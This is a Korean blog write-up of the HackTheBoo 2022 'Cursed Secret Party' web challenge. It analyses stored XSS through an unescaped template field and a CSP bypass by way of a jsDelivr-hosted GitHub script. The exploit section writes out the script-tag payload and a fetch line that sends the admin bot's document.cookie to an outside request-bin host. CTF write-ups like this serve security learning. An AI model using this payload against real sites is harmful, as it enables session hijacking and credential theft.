[HackTheBox] HackTheBoo CTF 2022 Track : Cursed Secret Party

silver35·2023년 2월 5일
0

HackTheBox

목록 보기
1/3

문제 개요

할로윈 파티에 참여하기 위한 등록 양식이 있으며 양식 작성 후 SUBMIT시 승인을 기다리다는 응답이 온다.

코드 분석

index.js의 소스코드를 보면 halloween_name, email, costume_type, trick_or_treat 변수를 받아 db.party_request_add 함수를 호출한다.

router.post('/api/submit', (req, res) => {
    const { halloween_name, email, costume_type, trick_or_treat } = req.body;

    if (halloween_name && email && costume_type && trick_or_treat) {

        return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
            .then(() => {
                res.send(response('Your request will be reviewed by our team!'));
                bot.visit();
            })
            .catch(() => res.send(response('Something Went Wrong!')));
    }

    return res.status(401).send(response('Please fill out all the required fields!'));
});

database.js의 db.party_request_add 함수 코드를 보면 party_requests 테이블에 halloween_name, email, costume_type, trick_or_treat prepared statment를 저장하고 있으며 Prepared Statement를 사용하고 있어 SQL 인젝션은 불가능 하다. 그러나 입력값에 대한 검증은 하지 않아 스크립트 구문은 입력할 수 있겠다라는 생각이 들었다.

async party_request_add(halloween_name, email, costume_type, trick_or_treat) {
		return new Promise(async (resolve, reject) => {
			try {
				let stmt = await this.db.prepare('INSERT INTO party_requests (halloween_name, email, costume_type, trick_or_treat) VALUES (?, ?, ?, ?)');
				resolve((await stmt.run(halloween_name, email, costume_type, trick_or_treat)));
			} catch(e) {
				reject(e);
			}
		});
	}

데이터베이스에 데이터를 삽입 후 bot.visit()를 실행한다. 여기서 puppeteer라는 Chrome/Chromium을 제어하기 위한 Node.js 라이브러리를 사용하고 있다. setCookie를 통해 JWT로 admin 토큰을 만든 후 admin cookie값을 가지고 admin 페이지와 admin/delete_all에 접근 한 다음 브라우저를 종료한다. JWT 토큰을 생성할 때 flag가 payload에 들어간다는 것을 알았고 admin의 토큰값을 구하면 된다고 생각했다. 처음에는 JWT 관련 취약점인가 생각했지만 별다른 것을 찾을 수 없었다.

const visit = async () => {
    try {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();
		// admin JWT 생성
		let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag }); 
		await page.setCookie({
			name: 'session',
			value: token,
			domain: '127.0.0.1:1337'
		});

		await page.goto('http://127.0.0.1:1337/admin', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		await page.goto('http://127.0.0.1:1337/admin/delete_all', {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

		setTimeout(() => {
			browser.close();
		}, 5000);

    } catch(e) {
        console.log(e);
    }
};

admin.html 페이지 코드를 분석해보니 Halloween Name은 템플릿 태그인 {{ }}를 통해 동적으로 request 값에 halloween_name을 보여준다. 또한, safe 필터를 사용해 escape 필터가 적용되어 이스케이프 문자 처리를 하지 않도록 되어있다. 즉, 스크립트 특수문자인 <, >을 삽입해도 기본적으로 템플릿에서 escape 처리를 통해 <>로 변환하지 않고 <, >을 그대로 사용할 수 있다. 따라서, Halloween Name에 스크립트 구문을 삽입해 XSS 공격과 관련이 있을 수 있겠다 생각했다.

<html>
    <head>
        <link rel="stylesheet" href="/static/css/bootstrap.min.css" />
        <title>Admin panel</title>
    </head>

    <body>
        <div class="container" style="margin-top: 20px">
            {% for request in requests %} 
                <div class="card">
                <div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
                <div class="card-body">
                    <p class="card-title"><strong>Email Address</strong>    : {{ request.email }}</p>
                    <p class="card-text"><strong>Costume Type </strong>   : {{ request.costume_type }} </p>
                    <p class="card-text"><strong>Prefers tricks or treat </strong>   : {{ request.trick_or_treat }} </p>
                    
                    <button class="btn btn-primary">Accept</button> 
                    <button class="btn btn-danger">Delete</button>
                </div>
            </div>
            {% endfor %}
        </div>

    </body>
</html>

취약점

CSP 헤더를 보면 스크립트 태그 관련 출처는 https://cdn.jsdelivr.net/ 만 허용한다.

https://csp-evaluator.withgoogle.com/에서 CSP 우회가 가능한지 확인해본 결과 https://cdn.jsdeliver.net이 취약하다고 나온다.

Exploit

https://cdn.jsdeliver.net 홈페이지에 들어가보면 github file를 로드할 수 있다고 한다.

내 github에 js 파일을 생성하고 나서 cdn.jsdeliver.net 하위 도메인으로 접근하면 깃허브 파일에 접근 할 수 있다. 이를 이용해 서버 → github 쿠키 값 탈취 자바스크립트 코드에 접근 → 서버에 cookie 값 전송을 통해 탈취하고자 한다.

먼저 자바스크립트의 fetch함수를 통해 cookie를 탈취하는 코드를 작성한다. fetch 함수는 서버에 네트워크를 요청을 보내고 정보를 받아오는 일을 한다.

그 다음 halloween_name에 스크립트 구문을 삽입해 요청한다. 서버에서 CSP에 스크립트 구문은 cdn.jsdeliver.net이 허용되므로 flag.js 파일을 요청한다.

  1. 데이터베이스에 halloween_name을 <script src="https://cdn.jsdelivr.net/gh/cseswu17/HTB/flag.js"></script> 값으로 저장
  2. bot.js() 실행 시 admin 페이지가 요청이 되어 halloween_name이 동적으로 렌더링 되면서 서버에서 https://cdn.jsdelivr.net/gh/cseswu17/HTB/flag.js로 요청을 보냄
  3. fetch("https://eov8pxxob54rvhw.m.pipedream.net/?cookie"+document.cookie);를 응답값으로 받고 서버에서 https://eov8pxxob54rvhw.m.pipedream.net에 쿠키값을 담아 요청을 보냄
  4. RequestBin에서 쿠키값을 확인

RequestBin에서 요청을 온 cookie를 확인 할 수 있다.

cookie값은 JWT로 생성되어 있으므로 https://jwt.io/ 에서 디코딩하면 Flag를 획득할 수 있다.

0개의 댓글